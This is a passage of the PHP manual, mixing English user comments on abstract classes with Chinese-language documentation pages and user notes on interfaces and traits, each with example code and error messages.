Fatal error: Declaration of ConcreteClass::prefixName() must be compatible with AbstractClass::prefixName($name) in /index.php on line 23

Stange enough it gives an incorrect declaration of "ConcreteClass::prefixName()"... It is missing both arguments. Because of that I'm assuming that this is just a bug that maybe already has been taking care of in newer versions. (Or is just specific to my version) I'm mainly noting this because it was driving me absolutely insane in some test code that I was writing derived from Example #2 (without a default value for an extra argument). Perhaps this saves some frustrations to other people.

--
Please note that i'm running this on php5.5.
OS: ubuntu-16.04-server-amd64.iso
Repo: ppa:ondrej/php

# php5.5 --version
PHP 5.5.36-2+donate.sury.org~xenial+1 (cli)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
balbuf 24-Jan-2016 07:03
The abstract keyword cannot be used to dictate properties or class constants that a derivative class must set/define. Instead, those required properties or constants can be included in the abstract class with the expectation that they will be overridden in derivative classes, which at least ensures that the desired property/constant is set/defined.
rmoisto at gmail dot com 26-Sep-2015 03:26
The self keyword in an abstract class will refer to the abstract class itself, not the extending class no matter what.

For instance the following code looks really pretty, yet results in a Fatal error (Cannot instantiate abstract class Basic).

<?php
abstract class Basic {
    public static function doWork() {
        return (new self())->work();
    }

    abstract protected function work();
}

class Keeks extends Basic {
    protected function work() {
        return 'Keeks';
    }
}

echo Keeks::doWork();
?>
arma99eDAN at yahoo dot com 08-Apr-2015 08:10
You can use an abstract class like this too:

abstract class A{
    public function show(){
        echo 'A';
    }
}
class B extends A{
    public function hello(){
        echo 'B';
        parent::show();
    }
}

$obj = new B;
$obj->hello(); // BA
# See that the abstract class does not have at least one abstract method
# Even in this case, I'm still able to extend it, or call its non-abstract member
aloydev2586 at gmail dot com 25-Sep-2014 09:33
Just in case you are confused about function arguments:

/*************Example 1********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string = ' is an integer!!!')
     {
          echo $new_number . $string;
     }
}
$var = new subclass();
$var->my_function(1024); //this will output: 1024 is an integer!!!

/*************Example 2********************/
abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
    //now $string = ' is a float!!!'
     public function my_function($new_number, $string = ' is a float!!!')
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//added ' is an integer'
$var->my_function(1024, ' is an integer!!!'); //this will output: 1024 is an integer!!!, rewrote $string.

/*************Example 3********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     //now $string isn't initialized
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}

$var = new subclass();
$var->my_function(1024, ' is an integer!!!'); /*this will trigger a fatal error of incompatibility between subclass::my_function() and my_class::my_function($number)*/

/*************Example 4********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//no second argument, no matter
$var->my_function(1024);//fatal error  too. Optional arguments have to be initialized in the extending class function.
sam at righthandedmonkey dot com 11-Sep-2014 03:43
Please note order or positioning of the classes in your code can affect the interpreter and can cause a Fatal error: Class 'YourClass' not found if there are multiple levels of abstraction out of order.  For example:
<?php
abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this outputs:
Wood

However, if you put the cart before the abstract horse (literally):

<?php
class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this throws an error:
Fatal error: Class 'horse' not found

So, when using multiple levels of abstraction, be careful of the positioning of the classes within the source code - and don't put the cart before the abstract horse.
nikola at petkanski dot com 10-Feb-2014 06:33
Invoking static method of abstract class should be removed.

What interfaces are?
- A mean to ensure all implementation have the same methods implemented.

What is an abstract class?
- It is a interface that can also include some concrete methods.

Is it right for the developer to be able to invoke a static method of an interface?
- I think not.

The GoF teach us to rely on abstract classes and interfaces to hide differences between subclasses from clients.
- Interface defines an object's use (protocol)
- Implementation defines particular policy

I don't think one should be able to call some abstract logic that is defined inside an abstract class, without even inheriting the class itself.
oliver at ananit dot de 27-Nov-2011 08:07
Abstract classes may have an final constructor, and sometime it makes sense to implement a class with a final constructor.

<?php
abstract class AbstractModel
{
    //our models must use the default constuctor
        public final function __construct(){}
    public function inject($array){
        foreach(array_keys(get_class_vars(get_called_class()))  as $property){
            $this->$property = $array[$property];
        }
    }
}

class ProductModel extends AbstractModel
{
    public $name;
    public $price;
    protected $id;

    public function getId(){return $this->id;}
}

class Factory{
    private $dataSource;
    public function __consruct($dataSource){
        $this->dataSource = $dataSource;
    }

    public function get($class, $table, $filter, $orderby, $limit){
        $result = array();
        foreach($datasource->fetchAssoc($table, $filter, $orderby, $limit) as $rawData){
            $obj = new $class();//this can only work if ALL models have a default constructor
            $obj->inject($rawData);
            $result[] = $obj;
        }
        return $result;
    }
}
?>

Note: This is a very simple example, and I am aware that there are other (better) ways to do this.
Oliver Anan
joelhy 31-May-2011 07:27
The documentation says: "It is not allowed to create an instance of a class that has been defined as abstract.". It only means you cannot initialize an object from an abstract class. Invoking static method of abstract class is still feasible. For example:
<?php
abstract class Foo
{
    static function bar()
    {
        echo "test\n";
    }
}

Foo::bar();
?>
a dot tsiaparas at watergate dot gr 26-Mar-2011 03:57
Abstraction and interfaces are two very different tools. The are as close as hammers and drills. Abstract classes may have implemented methods, whereas interfaces have no implementation in themselves.

Abstract classes that declare all their methods as abstract are not interfaces with different names. One can implement multiple interfaces, but not extend multiple classes (or abstract classes).

The use of abstraction vs interfaces is problem specific and the choice is made during the design of software, not its implementation. In the same project you may as well offer an interface and a base (probably abstract) class as a reference that implements the interface. Why would you do that?

Let us assume that we want to build a system that calls different services, which in turn have actions. Normally, we could offer a method called execute that accepts the name of the action as a parameter and executes the action.

We want to make sure that classes can actually define their own ways of executing actions. So we create an interface IService that has the execute method. Well, in most of your cases, you will be copying and pasting the exact same code for execute.

We can create a reference implemention for a class named Service and implement the execute method. So, no more copying and pasting for your other classes! But what if you want to extend MySLLi?? You can implement the interface (copy-paste probably), and there you are, again with a service. Abstraction can be included in the class for initialisation code, which cannot be predefined for every class that you will write.

Hope this is not too mind-boggling and helps someone. Cheers,
Alexios Tsiaparas
designbyjeeba at gmail dot com 26-Dec-2010 06:29
Please be aware of the visibility of the parent fields. If the fields are private, then you are not going to see those fields in their childrens. Its basic OOP, but can be problematic sometimes.
bishop 28-Jul-2010 10:36
Incidentally, abstract classes do not need to be base classes:

<?php
class Foo {
    public function sneeze() { echo 'achoooo'; }
}

abstract class Bar extends Foo {
    public abstract function hiccup();
}

class Baz extends Bar {
    public function hiccup() { echo 'hiccup!'; }
}

$baz = new Baz();
$baz->sneeze();
$baz->hiccup();
?>
mbajoras at gmail dot com 31-Dec-2009 11:59
Here's an example that helped me with understanding abstract classes. It's just a very simple way of explaining it (in my opinion). Lets say we have the following code:

<?php
class Fruit {
    private $color;

    public function eat() {
        //chew
    }

    public function setColor($c) {
        $this->color = $c;
    }
}

class Apple extends Fruit {
    public function eat() {
        //chew until core
    }
}

class Orange extends Fruit {
    public function eat() {
        //peel
        //chew
    }
}
?>

Now I give you an apple and you eat it.

<?php
$apple = new Apple();
$apple->eat();
?>

What does it taste like? It tastes like an apple. Now I give you a fruit.

<?php
$fruit = new Fruit();
$fruit->eat();
?>

What does that taste like??? Well, it doesn't make much sense, so you shouldn't be able to do that. This is accomplished by making the Fruit class abstract as well as the eat method inside of it.

<?php
abstract class Fruit {
    private $color;

    abstract public function eat();

    public function setColor($c) {
        $this->color = $c;
    }
}
?>

Now just think about a Database class where MySQL and PostgreSQL extend it. Also, a note. An abstract class is just like an interface, but you can define methods in an abstract class whereas in an interface they are all abstract.
nathan dot vorbei dot tech at gmail dot com 16-Nov-2009 10:55
"additionally, these methods must be defined with the same (or a less restricted) visibility."

The words were not restricted in abstract class but also normal classes,
the method in child Class which overwrites the parent Class can also change the the visibility of the method to same or less restricted.
for example:
<?php
class ClassOne {
    protected static $staticone = 'nathan';
    protected function changestaticone() {
        return self::$staticone = 'john';
    }
}

class ClassTwo extends ClassOne {
    public function changestaticone() {
        return self::$staticone = 'Alexey';
    }
}
$classtwo = new ClassTwo();
echo $classtwo->changestaticone();
pete at surfaceeffect dot com 13-Oct-2009 02:49
One fairly important difference between php's abstract functions and, say, Java, is that php does not specify the return type in any way - or indeed whether there has to be one.

<?php public abstract function square($number); ?>

could be implemented by...

<?php
public function square($number) {
   return $number*$number;
}
?>

or

<?php
public function square($number) {
   print ($number*$number);
}
?>

So you need to take care that incompatibilities don't arise due to not returning the right kind of value and this is not enforced in any way.
Cheese Doodle 22-Sep-2009 04:13
There isn't really that much of a great hurdle in understanding these things, there really isn't.

If you're defining a new class that is abstract, it means that you can make some non-abstract functions that you can use to define the general underlying behavior of that class along side abstract ones.

In interfaces, you can't do that since functions defined therewithin cannot have a body.

Abstract functions you use for classes that must define more specific behavior when "extending" your class.

So for a crude example - define by your non-abstract functions how that particular object (which may be part of a larger class hierarchy) would store and process it's data in SQL, XML, etc.

Then define abstract functions which allow someone implementing that class to specifically manipulate the data that is to be stored. Then require a format which this data must be returned in, and then in your non-abstract functions call those functions on destruction, in normal runtime, and so on.

Again, non-abstract functions, or even another class could implement the finer points of ensuring that data is in the correct format, and so on, ad infinitum.

It isn't too much of a reach to say that if you used a normal class instead of an abstract class, then there isn't much intrinsic requirement between the two classes.

Assuming that you wanted the functions to use each-others functions and you'd need to use them specifically by name, you'd have to write some code which checked to see -- lamely using function_exists() and other lamery -- if that class has the function you require for interoperability, when you could avoid all possible confusion and headaches by simply using the right tool for the job.

And reading a decent OOP book.
eeescalona 02-Jun-2008 09:04
here is a real world example of abstract using:

a (abstract) person class
a student and an employee final class, which extends person class.

simple theory is that both student and employee is an extension of the person class.  the difference lies on which table the data is written on, and what other pre processing (ie mandatory field checking, type checking, etc.) needed before writing each of the classes.

codes:

<?php

abstract class person {

    abstract protected function write_info();

    public $LastName;
    public $FirstName;
    public $BirthDate;

    public function get_Age($today=NULL){
        //age computation function
    }
}

final class employee extends person{
    public $EmployeeNumber;
    public $DateHired;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to emloyee dbase table";
        //ADD unique mandatory checking unique to EMPLOYEE ONLY
        //actual sql codes here
    }
}

final class student extends person{
    public $StudentNumber;
    public $CourseName;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to student dbase table";
        //ADD unique mandatory checking unique to STUDENT ONLY
        //actual sql codes here
    }
}

///----------
$personA = new employee;
$personB = new student;

$personA->FirstName="Joe";
$personA->LastName="Sbody";

$personB->FirstName="Ben";
$personB->LastName="Dover";

$personA->write_info();
?>

OUTPUT:Writing Sbody's info to emloyee dbase table
ironiridis at gmail dot com 27-Mar-2008 01:56
Just one more time, in the simplest terms possible:

An Interface is like a protocol. It doesn't designate the behavior of the object; it designates how your code tells that object to act. An interface would be like the English Language: defining an interface defines how your code communicates with any object implementing that interface.

An interface is always an agreement or a promise. When a class says "I implement interface Y", it is saying "I promise to have the same public methods that any object with interface Y has".

On the other hand, an Abstract Class is like a partially built class. It is much like a document with blanks to fill in. It might be using English, but that isn't as important as the fact that some of the document is already written.

An abstract class is the foundation for another object. When a class says "I extend abstract class Y", it is saying "I use some methods or properties already defined in this other class named Y".

So, consider the following PHP:
<?php
class X implements Y { } // this is saying that "X" agrees to speak language "Y" with your code.

class X extends Y { } // this is saying that "X" is going to complete the partial class "Y".
?>

You would have your class implement a particular interface if you were distributing a class to be used by other people. The interface is an agreement to have a specific set of public methods for your class.

You would have your class extend an abstract class if you (or someone else) wrote a class that already had some methods written that you want to use in your new class.

These concepts, while easy to confuse, are specifically different and distinct. For all intents and purposes, if you're the only user of any of your classes, you don't need to implement interfaces.
sneakyimp at hotmail dot com 09-Oct-2007 05:05
Ok...the docs are a bit vague when it comes to an abstract class extending another abstract class.  An abstract class that extends another abstract class doesn't need to define the abstract methods from the parent class.  In other words, this causes an error:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
  abstract public function someFunc();
}
?>

Error: Fatal error: Can't inherit abstract function class1::someFunc() (previously declared abstract in class2) in /home/sneakyimp/public/chump.php on line 7

However this does not:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
}
?>

An abstract class that extends an abstract class can pass the buck to its child classes when it comes to implementing the abstract methods of its parent abstract class.
joebert 24-Jun-2007 04:09
I don't agree with jfkallens' last comparison between Abstract Classes & Object Interfaces completely.

In an Abstract Class, you can define how some methods work, where as in an Object Interface you can not.

An Object Interface is essentually nothing but a list of function names that a class must define if the class implements that interface.

An Abstract Class is essentually a prototype which hints towards what extending classes should be doing.
An Abstract Class can also be thought of as a Base Class that provides some basic functionality, & also defines a built-in Object Interface that all extending classes will implement.

So, an Object Interface is really a built-in part of an Abstract Class.


对象接口

使用接口（interface），可以指定某个类必须实现哪些方法，但不需要定义这些方法的具体内容。 由于接口（interface）和类（class）、trait 共享了命名空间，所以它们不能重名。

接口就像定义一个标准的类一样，通过 interface 关键字替换掉 class 关键字来定义，但其中所有的方法都是空的。

接口中定义的所有方法都必须是 public ，这是接口的特性。

在实践中，往往出于两个辅助目的使用接口：

  • 因为实现了同一个接口，所以开发者创建的对象虽然源自不同的类，但可能可以交换使用。 常用于多个数据库的服务访问、多个支付网关、不同的缓存策略等。 可能不需要任何代码修改，就能切换不同的实现方式。
  • 能够让函数与方法接受一个符合接口的参数，而不需要关心对象如何做、如何实现。 这些接口常常命名成类似 Iterable、Cacheable、Renderable， 以便于体现出功能的含义。

接口可以定义魔术方法，以便要求类（class）实现这些方法。

Note:

虽然没有禁止，但是强烈建议不要在接口中使用 构造器。 因为这样在对象实现接口时，会大幅降低灵活性。 此外，也不能强制确保构造器遵守继承规则，将导致不可预料的行为结果。

实现（implements）

要实现一个接口，使用 implements 操作符。类中必须实现接口中定义的所有方法，否则会报一个致命错误。 类可以实现多个接口，用逗号来分隔多个接口的名称。

Warning

实现接口的时候，class 中的参数名称不必和接口完全一致。 然而， PHP 8.0 起语法开始支持命名参数， 也就是说调用方会依赖接口中参数的名称。 因此，强烈建议开发者的参数的命名，在类和接口中保持一致。

Note:

接口也可以通过 extends 操作符扩展。

Note:

类实现接口时，必须以兼容的签名定义接口中所有方法。类可以实现多个声明了相同方法名称的接口。在这种情况下，实现必须遵循所有接口的签名兼容性规则。因此可以应用协变和逆变。

常量

接口中也可以定义常量。接口常量和类常量的使用完全相同， 在 PHP 8.1.0 之前 不能被子类或子接口所覆盖。

示例

Example #1 接口示例

<?php

// 声明一个'Template'接口
interface Template
{
public function setVariable($name, $var);
public function getHtml($template);
}

// 实现接口
// 下面的写法是正确的
class WorkingTemplate implements Template
{
private $vars = [];

public function setVariable($name, $var)
{
$this->vars[$name] = $var;
}

public function getHtml($template)
{
foreach($this->vars as $name => $value) {
$template = str_replace('{' . $name . '}', $value, $template);
}

return $template;
}
}

// 下面的写法是错误的，会报错，因为没有实现 getHtml()：
// Fatal error: Class BadTemplate contains 1 abstract methods
// and must therefore be declared abstract (Template::getHtml)
class BadTemplate implements Template
{
private $vars = [];

public function setVariable($name, $var)
{
$this->vars[$name] = $var;
}
}
?>

Example #2 可扩充的接口

<?php
interface A
{
public function foo();
}

interface B extends A
{
public function baz(Baz $baz);
}

// 正确写法
class C implements B
{
public function foo()
{
}

public function baz(Baz $baz)
{
}
}

// 错误写法会导致一个致命错误
class D implements B
{
public function foo()
{
}

public function baz(Foo $foo)
{
}
}
?>

Example #3 多接口的差异兼容性

<?php
class Foo {}
class Bar extends Foo {}

interface A {
public function myfunc(Foo $arg): Foo;
}

interface B {
public function myfunc(Bar $arg): Bar;
}

class MyClass implements A, B
{
public function myfunc(Foo $arg): Bar
{
return new Bar();
}
}
?>

Example #4 扩展多个接口

<?php
interface A
{
public function foo();
}

interface B
{
public function bar();
}

interface C extends A, B
{
public function baz();
}

class D implements C
{
public function foo()
{
}

public function bar()
{
}

public function baz()
{
}
}
?>

Example #5 使用接口常量

<?php
interface A
{
const B = 'Interface constant';
}

// 输出接口常量
echo A::B;

// 错误写法，因为常量不能被覆盖。接口常量的概念和类常量是一样的。
class B implements A
{
const B = 'Class constant';
}

// 输出： Class constant
// 在 PHP 8.1.0 之前，不能正常运行
// 因为之前还不允许覆盖类常量。
echo B::B;
?>

Example #6 抽象（abstract）类的接口使用

<?php
interface A
{
public function foo(string $s): string;

public function bar(int $i): int;
}

// 抽象类可能仅实现了接口的一部分。
// 扩展该抽象类时必须实现剩余部分。
abstract class B implements A
{
public function foo(string $s): string
{
return $s . PHP_EOL;
}
}

class C extends B
{
public function bar(int $i): int
{
return $i * 2;
}
}
?>

Example #7 同时使用扩展和实现

<?php

class One
{
/* ... */
}

interface Usable
{
/* ... */
}

interface Updatable
{
/* ... */
}

// 关键词顺序至关重要： 'extends' 必须在前面
class Two extends One implements Usable, Updatable
{
/* ... */
}
?>

接口加上类型约束，提供了一种很好的方式来确保某个对象包含有某些方法。参见 instanceof 操作符和类型声明。

User Contributed Notes

vcnbianchi 30-Dec-2021 09:07
Just as all interface methods are public, all interface methods are abstract as well.
xedin dot unknown at gmail dot com 09-Mar-2021 09:44
This page says that if extending multiple interfaces with the same methods, the signature must be compatible. But this is not all there is to it: the order of `extends` matters. This is a known issue, and while it is disputable whether or not it is a bug, one should be aware of it, and code interfaces with this in mind.

https://bugs.php.net/bug.php?id=67270
https://bugs.php.net/bug.php?id=76361
https://bugs.php.net/bug.php?id=80785
williebegoode at att dot net 10-Aug-2014 10:42
In their book on Design Patterns, Erich Gamma and his associates (AKA: "The Gang of Four") use the term "interface" and "abstract class" interchangeably. In working with PHP and design patterns, the interface, while clearly a "contract" of what to include in an implementation is also a helpful guide for both re-use and making changes. As long as the implemented changes follow the interface (whether it is an interface or abstract class with abstract methods), large complex programs can be safely updated without having to re-code an entire program or module.

In PHP coding with object interfaces (as a keyword) and "interfaces" in the more general context of use that includes both object interfaces and abstract classes, the purpose of "loose binding" (loosely bound objects) for ease of change and re-use is a helpful way to think about both uses of the  term "interface." The focus shifts from "contractual" to "loose binding" for the purpose of cooperative development and re-use.
thanhn2001 at gmail dot com 03-Mar-2011 01:37
PHP prevents interface a contant to be overridden by a class/interface that DIRECTLY inherits it.  However, further inheritance allows it.  That means that interface constants are not final as mentioned in a previous comment.  Is this a bug or a feature?

<?php

interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

class b implements a
{
}

// This works!!!
class c extends b
{
    const b = 'Class constant';
}

echo c::b;
?>


Trait

PHP 实现了一种代码复用的方法，称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制，使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式，避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似，但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合；也就是说，应用的几个 Class 之间不需要继承。

Example #1 Trait 示例

<?php
trait ezcReflectionReturnInfo {
function getReturnType() { /*1*/ }
function getReturnDescription() { /*2*/ }
}

class ezcReflectionMethod extends ReflectionMethod {
use ezcReflectionReturnInfo;
/* ... */
}

class ezcReflectionFunction extends ReflectionFunction {
use ezcReflectionReturnInfo;
/* ... */
}
?>

优先级

从基类继承的成员会被 trait 插入的成员所覆盖。优先顺序是来自当前类的成员覆盖了 trait 的方法，而 trait 则覆盖了被继承的方法。

Example #2 优先顺序示例

从基类继承的成员被插入的 SayWorld Trait 中的 MyHelloWorld 方法所覆盖。其行为 MyHelloWorld 类中定义的方法一致。优先顺序是当前类中的方法会覆盖 trait 方法，而 trait 方法又覆盖了基类中的方法。

<?php
class Base {
public function sayHello() {
echo 'Hello ';
}
}

trait SayWorld {
public function sayHello() {
parent::sayHello();
echo 'World!';
}
}

class MyHelloWorld extends Base {
use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

以上示例会输出：

Hello World!

Example #3 另一个优先级顺序的例子

<?php
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}

class TheWorldIsNotEnough {
use HelloWorld;
public function sayHello() {
echo 'Hello Universe!';
}
}

$o = new TheWorldIsNotEnough();
$o->sayHello();
?>

以上示例会输出：

Hello Universe!

多个 trait

通过逗号分隔，在 use 声明列出多个 trait，可以都插入到一个类中。

Example #4 多个 trait 的用法

<?php
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}

trait World {
public function sayWorld() {
echo 'World';
}
}

class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

以上示例会输出：

Hello World!

冲突的解决

如果两个 trait 都插入了一个同名的方法，如果没有明确解决冲突将会产生一个致命错误。

为了解决多个 trait 在同一个类中的命名冲突，需要使用 insteadof 操作符来明确指定使用冲突方法中的哪一个。

以上方式仅允许排除掉其它方法，as 操作符可以 为某个方法引入别名。 注意，as 操作符不会对方法进行重命名，也不会影响其方法。

Example #5 冲突的解决

在本例中 Talker 使用了 trait A 和 B。由于 A 和 B 有冲突的方法，其定义了使用 trait B 中的 smallTalk 以及 trait A 中的 bigTalk。

Aliased_Talker 使用了 as 操作符来定义了 talk 来作为 B 的 bigTalk 的别名。

<?php
trait A {
public function smallTalk() {
echo 'a';
}
public function bigTalk() {
echo 'A';
}
}

trait B {
public function smallTalk() {
echo 'b';
}
public function bigTalk() {
echo 'B';
}
}

class Talker {
use A, B {
B::smallTalk insteadof A;
A::bigTalk insteadof B;
}
}

class Aliased_Talker {
use A, B {
B::smallTalk insteadof A;
A::bigTalk insteadof B;
B::bigTalk as talk;
}
}
?>

修改方法的访问控制

使用 as 语法还可以用来调整方法的访问控制。

Example #6 修改方法的访问控制

<?php
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}

// 修改 sayHello 的访问控制
class MyClass1 {
use HelloWorld { sayHello as protected; }
}

// 给方法一个改变了访问控制的别名
// 原版 sayHello 的访问控制则没有发生变化
class MyClass2 {
use HelloWorld { sayHello as private myPrivateHello; }
}
?>

从 trait 来组成 trait

正如 class 能够使用 trait 一样，其它 trait 也能够使用 trait。在 trait 定义时通过使用一个或多个 trait，能够组合其它 trait 中的部分或全部成员。

Example #7 从 trait 来组成 trait

<?php
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}

trait World {
public function sayWorld() {
echo 'World!';
}
}

trait HelloWorld {
use Hello, World;
}

class MyHelloWorld {
use HelloWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
?>

以上示例会输出：

Hello World!

Trait 的抽象成员

为了对使用的类施加强制要求，trait 支持抽象方法的使用。 支持 public 、protected 和 private 方法。PHP 8.0.0 之前， 仅支持 public 和 protected 抽象方法。

Caution

一个可继承实体类，可以通过定义同名非抽象方法来满足要求；方法的签名可以不同。

Example #8 表示通过抽象方法来进行强制要求

<?php
trait Hello {
public function sayHelloWorld() {
echo 'Hello'.$this->getWorld();
}
abstract public function getWorld();
}

class MyHelloWorld {
private $world;
use Hello;
public function getWorld() {
return $this->world;
}
public function setWorld($val) {
$this->world = $val;
}
}
?>

Trait 的静态成员

Traits 可以定义静态变量、静态方法和静态属性。

Note:

自 PHP 8.1.0 起，弃用直接在 trait 上调用静态方法或者访问静态属性。 静态方法和属性应该仅在使用了 trait 的 class 中访问。

Example #9 静态变量

<?php
trait Counter {
public function inc() {
static $c = 0;
$c = $c + 1;
echo "$c\n";
}
}

class C1 {
use Counter;
}

class C2 {
use Counter;
}

$o = new C1(); $o->inc(); // echo 1
$p = new C2(); $p->inc(); // echo 1
?>

Example #10 静态方法

<?php
trait StaticExample {
public static function doSomething() {
return 'Doing something';
}
}

class Example {
use StaticExample;
}

Example::doSomething();
?>

Example #11 静态属性

<?php
trait StaticExample {
public static $static = 'foo';
}

class Example {
use StaticExample;
}

echo Example::$static;
?>

属性

Trait 同样可以定义属性。

Example #12 定义属性

<?php
trait PropertiesTrait {
public $x = 1;
}

class PropertiesExample {
use PropertiesTrait;
}

$example = new PropertiesExample;
$example->x;
?>

Trait 定义了一个属性后，类就不能定义同样名称的属性，否则会产生 fatal error。 有种情况例外：属性是兼容的（同样的访问可见度、类型、readonly 修饰符和初始默认值）。

Example #13 解决冲突

<?php
trait PropertiesTrait {
public $same = true;
public $different1 = false;
public bool $different2;
public bool $different3;
}

class PropertiesExample {
use PropertiesTrait;
public $same = true;
public $different1 = true; // Fatal error
public string $different2; // Fatal error
readonly protected bool $different3; // Fatal error
}
?>

常量

自 PHP 8.2.0 起，trait 也可以定义常量。

Example #14 定义常量

<?php
trait ConstantsTrait {
public const FLAG_MUTABLE = 1;
final public const FLAG_IMMUTABLE = 5;
}

class ConstantsExample {
use ConstantsTrait;
}

$example = new ConstantsExample;
echo $example::FLAG_MUTABLE; // 1
?>

如果 trait 定义了常量，然后类不能定义相同名称的常量，除非两者兼容（相同的可见性、初始化值和 final），否则会发出 fatal error。

Example #15 解决冲突

<?php
trait ConstantsTrait {
public const FLAG_MUTABLE = 1;
final public const FLAG_IMMUTABLE = 5;
}

class ConstantsExample {
use ConstantsTrait;
public const FLAG_IMMUTABLE = 5; // Fatal error
}
?>

User Contributed Notes

JustAddingSomeAdditionalUseCase 22-Feb-2023 11:14
I have not seen this specific use case:

"Wanting to preserve action of parent class method, the trait one calling ::parent & also the child class mehod action".

// Child class.
use SuperTrait {
  initialize as initializeOr;
}
public function initialize(array &$element) {
  ...
  $this->initializeOr($element);
}
// Trait.
public function initialize(array &$element) {
  ...
  parent::initialize($element);
}
// Parent class.
public function initialize(array &$element) {
  ...
}
guidobelluomo at gmail dot com 22-Sep-2020 06:57
If you override a method which was defined by a trait, calling the parent method will also call the trait's override. Therefore if you need to derive from a class which has a trait, you can extend the class without losing the trait's functionality:

<?php

trait ExampleTrait
{
    public function output()
    {
        parent::output();
        echo "bar<br>";
    }
}

class Foo
{
    public function output()
    {
        echo "foo<br>";
    }
}

class FooBar extends Foo
{
    use ExampleTrait;
}

class FooBarBaz extends FooBar
{
    use ExampleTrait;
    public function output()
    {
        parent::output();
        echo "baz";
    }
}

(new FooBarBaz())->output();
?>

Output:
foo
bar
baz
yeu_ym at yahoo dot com 02-Mar-2019 04:03
Here is an example how to work with visiblity and conflicts.

<?php

trait A
{
    private function smallTalk()
    {
        echo 'a';
    }

    private function bigTalk()
    {
        echo 'A';
    }
}

trait B
{
    private function smallTalk()
    {
        echo 'b';
    }

    private function bigTalk()
    {
        echo 'B';
    }
}

trait C
{
    public function smallTalk()
    {
        echo 'c';
    }

    public function bigTalk()
    {
        echo 'C';
    }
}

class Talker
{
    use A, B, C {
        //visibility for methods that will be involved in conflict resolution
        B::smallTalk as public;
        A::bigTalk as public;

        //conflict resolution
        B::smallTalk insteadof A, C;
        A::bigTalk insteadof B, C;

        //aliases with visibility change
        B::bigTalk as public Btalk;
        A::smallTalk as public asmalltalk;

        //aliases only, methods already defined as public
        C::bigTalk as Ctalk;
        C::smallTalk as cmallstalk;
    }

}

(new Talker)->bigTalk();//A
(new Talker)->Btalk();//B
(new Talker)->Ctalk();//C

(new Talker)->asmalltalk();//a
(new Talker)->smallTalk();//b
(new Talker)->cmallstalk();//c
rawsrc 29-May-2018 06:35
About the (Safak Ozpinar / safakozpinar at gmail)'s great note, you can still have the same behavior than inheritance using trait with this approach :
<?php

trait TestTrait {
    public static $_bar;
}

class FooBar {
    use TestTrait;
}

class Foo1 extends FooBar {

}
class Foo2 extends FooBar {

}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
bscheshirwork at gmail dot com 03-Nov-2017 02:04
https://3v4l.org/mFuQE

1. no deprecate if same-class-named method get from trait
2. replace same-named method ba to aa in C

trait ATrait {
    public function a(){
        return 'Aa';
    }
}

trait BTrait {
    public function a(){
        return 'Ba';
    }
}

class C {
    use ATrait{
        a as aa;
    }
    use BTrait{
        a as ba;
    }

    public function a() {
        return static::aa() . static::ba();
    }
}

$o = new C;
echo $o->a(), "\n";

class D {
    use ATrait{
        ATrait::a as aa;
    }
    use BTrait{
        BTrait::a as ba;
    }

    public function a() {
        return static::aa() . static::ba();
    }
}

$o = new D;
echo $o->a(), "\n";

class E {
    use ATrait{
        ATrait::a as aa;
        ATrait::a insteadof BTrait;
    }
    use BTrait{
        BTrait::a as ba;
    }

    public function e() {
        return static::aa() . static::ba();
    }
}

$o = new E;
echo $o->e(), "\n";

class F {
    use ATrait{
        a as aa;
    }
    use BTrait{
        a as ba;
    }

    public function f() {
        return static::aa() . static::ba();
    }
}

$o = new F;
echo $o->f(), "\n";

AaAa
AaBa

Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; E has a deprecated constructor in /in/mFuQE on line 48
AaBa

Fatal error: Trait method a has not been applied, because there are collisions with other trait methods on F in /in/mFuQE on line 65
katrinaelaine6 at gmail dot com 19-Oct-2017 08:56
Adding to "atorich at gmail dot com":

The behavior of the magic constant __CLASS__ when used in traits is as expected if you understand traits and late static binding (http://php.net/manual/en/language.oop5.late-static-bindings.php).

<?php

$format = 'Class: %-13s | get_class(): %-13s | get_called_class(): %-13s%s';

trait TestTrait {
    public function testMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function testStatic() {
        global $format;
